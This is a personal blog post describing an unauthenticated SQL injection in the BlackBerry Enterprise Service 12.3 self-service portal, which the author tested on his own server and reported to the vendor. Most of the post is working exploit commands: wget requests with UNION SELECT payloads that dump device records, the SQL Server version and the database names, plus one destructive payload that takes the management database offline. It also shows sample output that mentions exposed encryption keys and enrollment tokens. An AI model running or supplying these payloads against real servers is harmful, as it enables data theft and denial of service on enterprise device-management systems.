BES 12.3 SQL Injection Vulnerability

A nice one to add to the blog, especially as it’s been so long,

Recently I’ve been battling with BES (Blackberry Enterprise Service) after the service account / AD connector password expired, disk filled with logs and the DB got corrupted. Long story short it required some very admirable SQL scripts from the blackberry developers to unbreak. Three weeks work too, but well done to Blackberry for fixing it – I was going to give up and start over.

Part of the fixing of the server was to upgrade from BES 12.1 to BES 12.3. Don’t ask me why. All I know is it helped unbreak the database. I¬†fixed everything up late Friday night and everything is all good.
Server ticks away over the weekend and all good. That is until 17:25. I get a message off our network magician (he is a clever one when it comes to these things):

I’d probably update bes12 when you get a minute ūüėČ

wget –no-check-certificate -qO- “https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo’+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_user_device+FOR+XML+PATH(”))+–” | iconv -f UTF-16 -t UTF-8 | sed -e “s/\(\/\w\+>\)/\1\n/g” | less

I’m just packing up so I head home, grab the lappy out, fire up my Debian VM and launch a shell. I’m fairly familiar with the shell on my deb VM so I know that it’s nothing untoward.

robert@mordor:~$ wget --no-check-certificate -qO- "https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_user_device+FOR+XML+PATH(''))+--" | iconv -f UTF-16 -t UTF-8 | sed -e "s/\(\/\w\+>\)/\1\n/g" | less

Now, before I show you the output, I’ll talk¬†through what it does,

wget is ¬†a standard Linux utility for invoking requests to web servers, we’re running it with the following flags :¬†¬†–no-check-certificate -qO-

In plain English this is¬†¬†throwing away/not bothering with a selfsigned cert, turning off the output (so being quiet with ‘resolving, downloading etc’), the O- dumps it back to standard output at the terminal. ¬†After that, ¬†the URL it is connecting to is written.

https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo 

This is the number 12 logo on the BES Self Service portal, just serves as an element within the html that we can use to inject our lovely string into.

'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_user_device+FOR+XML+PATH(''))+--"

This is the nasty (or clever) part. It is running a SQL query agains the BESMgmt Database that is selecting all data from the obj_user_device table.

The rest of the script then converts it into UTF-8 and replaces URLS with a new line via the regex. The Less command is just to make it even easier to view on a terminal.

 

So, lets’ see what we can do with this, I’ve taken a backup of the databases so I’m all good.

robert@mordor:~$ wget --no-check-certificate -qO- "https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_user_device+FOR+XML+PATH(''))+--" | iconv -f UTF-16 -t UTF-8 | sed -e "s/\(\/\w\+>\)/\1\n/g" > moo.txt

robert@mordor:~$ cat moo.txt

I’ve stripped out any confidential data here, but it gives you a good idea

<id_user_device>20</id_user_device>
<id_user>14</id_user>
<id_device>20</id_device>
<perimeter_uuid>redacted</perimeter_uuid>
<perimeter_state_type>ENROLLED</perimeter_state_type>
<last_perimeter_state_changed>2015-03-10T10:35:26.7610000</last_perimeter_state_changed>
<reactivation_count>0</reactivation_count>
<last_communication>2016-02-22T19:09:22.8110000</last_communication>
<name>redacted- WP 8.10.14234.0 RM-976_1115 -redacted </name>
<language>en-GB</language>
<password_state>0</password_state>
<compliance_rule_enabled>0</compliance_rule_enabled>
<enrollment_type>FULL_DEVICE_MANAGEMENT_WITH_SINGLE_WORKSPACE</enrollment_type>
<enrollment_secret>redacted</enrollment_secret>
<guid>redacted</guid>
<created>2015-03-10T10:32:34.6620000</created>
<modified>2016-02-22T19:09:22.8110000</modified>
<IT_plcy_name>Default</IT_plcy_name>
<IT_plcy_applied_time>2016-02-19T08:09:08.9910000</IT_plcy_applied_time>
<is_decrpt_eng_pri_cert_encrptd>0</is_decrpt_eng_pri_cert_encrptd>
<is_p2e_enabled>0</is_p2e_enabled>
<is_sim_license_synced>1</is_sim_license_synced>

another example with a different device type (iphone) – it gives a little more data :

<id_user>134</id_user>
<id_device>439</id_device>
<perimeter_uuid>redacted</perimeter_uuid>
<perimeter_state_type>ENROLLED</perimeter_state_type>
<last_perimeter_state_changed>2015-07-09T22:38:41.0210000</last_perimeter_state_changed>
<reactivation_count>0</reactivation_count>
<last_communication>2016-02-22T19:45:22.5820000</last_communication>
<name>redacted (e-mail) - ios 7.1.2 iPhone4,1 - redacted (guid)</name>
<language>en-GB</language>
<device_encryption_key> This had a huge encryption key here, not good at all.</device_encryption_key>
<password_state>1</password_state>
<compliance_rule_enabled>0</compliance_rule_enabled>
<enrollment_type>FULL_DEVICE_MANAGEMENT_WITH_SINGLE_WORKSPACE</enrollment_type>
<enrollment_token>
more tokens here.. :(
 </enrollment_token>
<enrollment_secret>redacted</enrollment_secret>
<guid>redacted</guid>
<created>2015-06-10T15:20:26.5220000</created>
<modified>2016-02-22T19:45:22.5980000</modified>
<IT_plcy_name>Final 16062015</IT_plcy_name>
<IT_plcy_applied_time>2016-02-22T14:01:26.6080000</IT_plcy_applied_time>
<is_decrpt_eng_pri_cert_encrptd>0</is_decrpt_eng_pri_cert_encrptd>
<is_p2e_enabled>0</is_p2e_enabled>
<is_sim_license_synced>1</is_sim_license_synced>

Some really useful data here if you’re an attacker, there is enough data here to get into quite a few vulnerabilities. At no point have I had to enter any credentials to get this data. Not good Blackberry, not good at all.

Port 8000 has our Self Service portal on it if you’re wondering, everything is configured as default on the server (other than the policies etc). I wonder how many people are vulnerable?

Anyway, got a little sidetracked. What else can we do with this? Back to the shell.

robert@mordor:~$ wget --no-check-certificate -qO- "https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+@@VERSION+FOR+XML+PATH(''))+--" | iconv -f UTF-16 -t UTF-8 | sed -e "s/\(\/\w\+>\)/\1\n/g" 

Microsoft SQL Server 2008 R2 (SP1) - 10.50.2550.0 (X64) 
 Jun 11 2012 16:41:53 
 Copyright (c) Microsoft Corporation
 Standard Edition (64-bit) on Windows NT 6.1 &lt;X64&gt; (Build 7601: Service Pack 1) (Hypervisor)
robert@mordor:~$ 
robert@mordor:~$ 

Oh joy… I can find out the SQL Server version, Server OS version and the fact it’s on a hypervisor. Even better eh?!

What other databases are on here?

robert@mordor:~$ wget --no-check-certificate -qO- "https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+name+FROM+master.dbo.sysdatabases+FOR+XML+PATH(''))+--" | iconv -f UTF-16 -t UTF-8 | sed -e "s/\(\/\w\+>\)/\1\n/g"
<name>master</name>
<name>tempdb</name>
<name>model</name>
<name>msdb</name>
<name>ReportServer</name>
<name>ReportServerTempDB</name>
<name>redacted (appname)</name>
<name>redacted (appname)</name>
<name>redacted (appname)</name>
<name>BESMgmt</name>
robert@mordor:~$ 

That could be useful.

Lets see what permissons I have, taking the BES DB offline would be a good test,

robert@mordor:~$
robert@mordor:~$ robert@mordor:~$ wget --no-check-certificate -qO- "https://<redacted>:8000/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(ALTER+DATABASE+BesMGMT+SET+OFFLINE+WITH+ROLLBACK+IMMEDIATE+FOR+XML+PATH(''))+--" | iconv -f UTF-16 -t UTF-8 | sed -e "s/\(\/\w\+>\)/\1\n/g" | less
robert@mordor:~$ 

There isn’t a lot you can see from that, so I checked in SQL server and it shows offline. Go blackberry!!!

In conclusion, this is quite a nasty issue, especially on such a high-level system. From the demo’s above I’ve proved I can destroy that SQL server in a heartbeat. Not once did I have to enter my password.

This may have been discovered already, but I couldn’t find much in the way of news on the interwebs. I’ve e-mailed Blackberry and will update with any info!

 

Cheers!

Ainsey11

 

Edit : Blackberry already seem to have found it as noted here : http://support.blackberry.com/kb/articleDetail?articleNumber=000038033&language=English

However, they said that¬† An external attacker must then persuade a user with legitimate access to the Management Console.¬† Yet you don’t need to authenticate once…